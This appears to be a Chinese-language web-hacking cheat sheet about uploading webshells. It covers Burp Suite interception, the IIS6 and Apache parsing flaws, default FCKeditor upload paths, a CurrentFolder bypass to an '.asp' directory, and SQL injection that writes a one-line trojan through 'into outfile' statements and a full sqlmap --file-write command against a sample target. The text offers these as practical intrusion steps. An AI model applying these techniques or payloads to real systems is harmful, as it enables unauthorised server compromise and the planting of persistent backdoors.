通過burpsuite抓包上傳webshell
先上傳正常圖片;
通過抓包獲得上傳頁面的url以及cookie;
通過明小子的綜合上傳功能上傳webshell;
IIS解析漏洞:
1.如果一個目錄以“xxx.asp”的形式命名,那麼該目錄下的所有類型的文件都會被當作asp文件來進行解析;
2.如果一個文件的擴展名採用“.asp;*.jpg"的形式,那麼該文件也會被當作asp文件解析執行;
一般在IIS6.0才存在,一個沒有補丁的漏洞;
apache解析漏洞:
在解析文件時,當碰到不認識的擴展名時,將會從後往前解析,知道碰到認識的擴展名;
如,teset.php.xx
在apache1.1和1.2存在,nginx也存在該漏洞;
編輯器漏洞:FCKeditor(Ewebeditor)
通過搜索引擎等方式獲知網站是否使用FCKeditor;
獲取或猜測FCKeditor的安裝目錄;
利用IIS6解析漏洞上傳一句話木馬或webshell;
FCKeditor敏感信息:
查看版本信息:
/FCKEditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html
默認上傳頁面:
/FCKEditor/editor/filemanager/browser/default/browser.html
/FCKEditor/editor/filemanager/browser/default/connectors/test.html
/FCKEditor/editor/filemanager/browser/upload/test.html
/FCKEditor/editor/filemanager/browser/connectors/test.html
/FCKEditor/editor/filemanager/browser/connectors/uploadtest.html
利用文件夾名解析漏洞嘗試繞過:
正常創建文件夾1.asp,也被替換爲1_asp
修改父目錄的名字,在burpsuite中,將CurrentFolder=%2F修改爲CurrentFolder=%2F1.asp
%2F使用ASCII碼形式表示字符“/”
通過SQL語句注入實現文件上傳
手工注入:
select “test1" into outfile "D:/AppServe/www/test1.txt"
select * from hack union select 1, "一句話木馬", 3 into outfile "D:/AppServe/www/test1.txt"
sqlmap注入:
先將一句話木馬存放到本地文件d:\ma.php中
獲取到目標網站的物理路徑C:\NPMserv\www
--file-write參數指定本地文件路徑
--file-dest參數指定目標路徑
sqlmap.py -u "http://192.168.77.122/info_show.php?info_id=140"--file-write “d:/ma.php” --file-dest “C:/NPMserv/www/ma.php”
前提:
數據庫是MySQL或MSSQL
當前用戶必須具有數據庫管理員權限
知道目標網站的物理路徑